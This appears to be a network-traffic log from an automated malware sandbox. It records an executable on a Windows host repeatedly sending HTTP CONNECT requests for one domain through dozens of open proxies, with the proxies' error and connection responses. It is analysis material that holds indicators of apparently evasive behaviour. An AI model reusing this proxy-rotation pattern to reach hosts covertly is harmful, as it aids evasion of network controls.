Mar 11, 2024 15:21:09.028942108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.9	54503	117.160.250.163	8828	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.029285908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.668457031 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 14:21:09 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.9	54708	116.106.105.208	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.029414892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.9	54793	94.45.74.60	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.029572010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.9	54829	185.38.111.1	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.029939890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.351042986 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Length: 0
Mar 11, 2024 15:21:09.733992100 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.9	50061	45.188.164.3	1994	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.032341957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.091007948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.115366936 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.9	53389	50.63.12.101	17559	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.033346891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.9	54067	103.48.69.113	82	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.035655975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.9	50080	198.12.255.193	6821	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.067115068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.141331911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.330374956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.325601101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.325062037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.9	54860	172.67.182.48	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.100459099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.254920006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.9	54859	45.12.31.104	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.100789070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.255211115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.9	54861	104.18.20.160	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.100828886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.255376101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.9	54787	115.127.31.66	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.101861954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.9	54718	60.12.168.114	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.102488995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.593578100 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:59:52 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.9	50185	181.78.11.218	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.102829933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.141349077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.330378056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.325603008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:33.325258017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1492	192.168.2.9	54139	202.166.219.80	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.103293896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1493	192.168.2.9	54526	39.165.0.137	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.103627920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.814744949 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1494	192.168.2.9	54818	221.6.139.190	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.104024887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.533030987 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1495	192.168.2.9	50018	51.38.63.124	27294	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.113679886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.200174093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1496	192.168.2.9	54876	45.40.136.39	45741	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.124234915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1497	192.168.2.9	54879	74.48.7.43	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.124351025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1498	192.168.2.9	50206	132.148.128.88	26606	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.128921032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.141398907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1499	192.168.2.9	54033	51.68.164.77	16892	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.130860090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.200259924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.200680971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1500	192.168.2.9	52990	213.16.81.147	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.135396957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.9	54872	154.205.152.96	9080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.141756058 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:11.360402107 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:12.448163986 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:13.728264093 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:16.448163986 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:21.568461895 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:31.808239937 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 15:21:53.824299097 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.9	52994	120.78.191.225	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.143731117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.488689899 CET	295	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 14:21:09 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.9	54873	154.205.152.96	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:09.158236027 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com

